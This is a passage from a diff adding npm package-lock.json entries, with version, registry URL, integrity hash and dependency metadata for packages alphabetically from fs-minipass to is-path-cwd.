"sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", + "dev": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/fs-minipass/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gauge": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz", + "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==", + "deprecated": "This package is no longer supported.", + "dev": true, + "license": "ISC", + "dependencies": { + "aproba": "^1.0.3 || ^2.0.0", + "color-support": "^1.1.3", + "console-control-strings": "^1.1.0", + "has-unicode": "^2.0.1", + "signal-exit": "^3.0.7", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "wide-align": "^1.1.5" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/gauge/node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/geometry-interfaces": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/geometry-interfaces/-/geometry-interfaces-1.1.4.tgz", + "integrity": "sha512-qD6OdkT6NcES9l4Xx3auTpwraQruU7dARbQPVO71MKvkGYw5/z/oIiGymuFXrRaEQa5Y67EIojUpaLeGEa5hGA==", + "dev": true, + "license": "MIT" + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-east-asian-width": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.3.1.tgz", + "integrity": "sha512-R1QfovbPsKmosqTnPoRFiJ7CF9MLRgb53ChvMZm+r4p76/+8yKDy17qLL2PKInORy2RkZZekuK0efYgmzTkXyQ==", + "dev": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-func-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.2.tgz", + "integrity": "sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "dev": true, + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "dev": true, + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-2.3.1.tgz", + "integrity": "sha512-AUGhbbemXxrZJRD5cDvKtQxLuYaIbNtDTK8YqupCI393Q2KSTreEsLUN3ZxAWFGiKTzL6nKuzfcIvieflUX9qA==", + "dev": true, + "license": "MIT", + "dependencies": { + "object-assign": "^4.0.1", + "pinkie-promise": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/get-tsconfig": { + "version": "4.8.1", + "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.8.1.tgz", + "integrity": "sha512-k9PN+cFBmaLWtVz29SkUoqU5O0slLuHJXt/2P+tMVFT+phsSGXGkp9t3rQIqdz0e+06EHNGs3oM6ZX1s2zHxRg==", + "dev": true, + "dependencies": { + "resolve-pkg-maps": "^1.0.0" + }, + "funding": { + "url": "https://github.com/privatenumber/get-tsconfig?sponsor=1" + } + }, + "node_modules/github-from-package": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", + "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==", + "dev": true, + "optional": true + }, + "node_modules/glob": { + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-11.0.3.tgz", + "integrity": "sha512-2Nim7dha1KVkaiF4q6Dj+ngPPMdfvLJEOpZk/jKiUAkqKebpGAWQXAq9z1xu9HKu5lWfqw/FASuccEjyznjPaA==", + "dev": true, + "dependencies": { + "foreground-child": "^3.3.1", + "jackspeak": "^4.1.1", + "minimatch": "^10.0.3", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^2.0.0" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "engines": { + "node": "20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/glob/node_modules/jackspeak": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-4.1.1.tgz", + "integrity": "sha512-zptv57P3GpL+O0I7VdMJNBZCu+BPHVQUk55Ft8/QCJjTVxrnJHuVuX/0Bl2A6/+2oyR/ZMEuFKwmzqqZ/U5nPQ==", + "dev": true, + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "engines": { + "node": "20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob/node_modules/lru-cache": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.1.0.tgz", + "integrity": "sha512-QIXZUBJUx+2zHUdQujWejBkcD9+cs94tLn0+YL8UrCh+D5sCXZ4c7LaEH48pNwRY3MLDgqUFyhlCyjJPf1WP0A==", + "dev": true, + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/glob/node_modules/minimatch": { + "version": "10.0.3", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.0.3.tgz", + "integrity": "sha512-IPZ167aShDZZUMdRk66cyQAW3qr0WzbHkPdMYa8bzZhlHhO3jALbKdxcaak7W9FfT2rZNpQuUu4Od7ILEpXSaw==", + "dev": true, + "dependencies": { + "@isaacs/brace-expansion": "^5.0.0" + }, + "engines": { + "node": "20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob/node_modules/path-scurry": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.0.tgz", + "integrity": "sha512-ypGJsmGtdXUOeM5u93TyeIEfEhM6s+ljAhrk5vAvSx8uyY/02OvrZnA0YNGUrPXfpJMgI1ODd3nwz8Npx4O4cg==", + "dev": true, + "dependencies": { + "lru-cache": "^11.0.0", + "minipass": "^7.1.2" + }, + "engines": { + "node": "20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/globals": { + "version": "13.24.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globby": { + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-14.1.0.tgz", + "integrity": "sha512-0Ia46fDOaT7k4og1PDW4YbodWWr3scS2vAr2lTbsplOt2WkKp0vQbkI9wKis/T5LV/dqPjO3bpS/z6GTJB82LA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@sindresorhus/merge-streams": "^2.1.0", + "fast-glob": "^3.3.3", + "ignore": "^7.0.3", + "path-type": "^6.0.0", + "slash": "^5.1.0", + "unicorn-magic": "^0.3.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globby/node_modules/ignore": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.4.tgz", + "integrity": "sha512-gJzzk+PQNznz8ysRrC0aOkBNVRBDtE1n53IqyqEf3PXrYwomFs5q4pGMizBMJF+ykh03insJ27hB8gSrD2Hn8A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" + }, + "node_modules/graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==", + "dev": true + }, + "node_modules/handlebars": { + "version": "4.7.8", + "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz", + "integrity": "sha512-vafaFqs8MZkRrSX7sFVUdo3ap/eNiLnb4IakshzvP56X5Nr1iGKAIqdX6tMlm6HcNRIkr6AxO5jFEoJzzpT8aQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "minimist": "^1.2.5", + "neo-async": "^2.6.2", + "source-map": "^0.6.1", + "wordwrap": "^1.0.0" + }, + "bin": { + "handlebars": "bin/handlebars" + }, + "engines": { + "node": ">=0.4.7" + }, + "optionalDependencies": { + "uglify-js": "^3.1.4" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-unicode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", + "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "bin": { + "he": "bin/he" + } + }, + "node_modules/header-case": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/header-case/-/header-case-2.0.4.tgz", + "integrity": "sha512-H/vuk5TEEVZwrR0lp2zed9OCo1uAILMlx0JEMgC26rzyJJ3N1v6XkwHHXJQdR2doSjcGPM6OKPYoJgf0plJ11Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "capital-case": "^1.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/hosted-git-info": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", + "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true, + "license": "MIT" + }, + "node_modules/htmlparser2": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "dev": true, + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "node_modules/http-cache-semantics": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", + "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/http-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", + "dev": true, + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.5.tgz", + "integrity": "sha512-1e4Wqeblerz+tMKPIq2EMGiiWW1dIjZOksyHWSUm1rmuvw/how9hBHZ38lAGj5ID4Ik6EdkOw7NmWPy6LAwalw==", + "dev": true, + "dependencies": { + "agent-base": "^7.0.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/humanize-ms": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", + "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.0.0" + } + }, + "node_modules/husky": { + "version": "9.1.7", + "resolved": "https://registry.npmjs.org/husky/-/husky-9.1.7.tgz", + "integrity": "sha512-5gs5ytaNjBrh5Ow3zrvdUUY+0VxIuWVL4i9irt6friV+BqdCfmV11CQTWMiBYWHbXhco+J1kHfTOUkePhCDvMA==", + "dev": true, + "license": "MIT", + "bin": { + "husky": "bin.js" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/typicode" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/ignore": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.1.tgz", + "integrity": "sha512-5Fytz/IraMjqpwfd34ke28PTVMjZjJG2MPn5t7OE4eUCUNf8BAa7b5WUS9/Qvr6mwOQS7Mk6vdsMno5he+T8Xw==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/immediate": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", + "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==", + "dev": true + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dev": true, + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", + "dev": true, + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/index-to-position": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/index-to-position/-/index-to-position-1.2.0.tgz", + "integrity": "sha512-Yg7+ztRkqslMAS2iFaU+Oa4KTSidr63OsFGlOrJoW981kIYO3CGCS3wA95P1mUi/IVSJkn0D479KTJpVpvFNuw==", + "dev": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/infer-owner": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", + "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", + "dev": true, + "license": "ISC" + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true, + "optional": true + }, + "node_modules/ip-address": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.0.1.tgz", + "integrity": "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "dev": true, + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-interactive": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-2.0.0.tgz", + "integrity": "sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-lambda": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", + "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-natural-number": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-natural-number/-/is-natural-number-4.0.1.tgz", + "integrity": "sha512-Y4LTamMe0DDQIIAlaer9eKebAlDSV6huy+TWhJVPlzZh2o4tRP5SQWFlLn5N0To4mDD22/qdOq+veo1cSISLgQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-path-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-3.0.0.tgz", + "integrity": "sha512-kyiNFFLU0Ampr6SDZitD/DwUo4Zs1nSdnygUBqsu3LooL00Qvb5j+UnvApUn/TTj1J3OuE6BTdQ5rudKmU2ZaA==", + "dev": true, + "engines": { + "node": 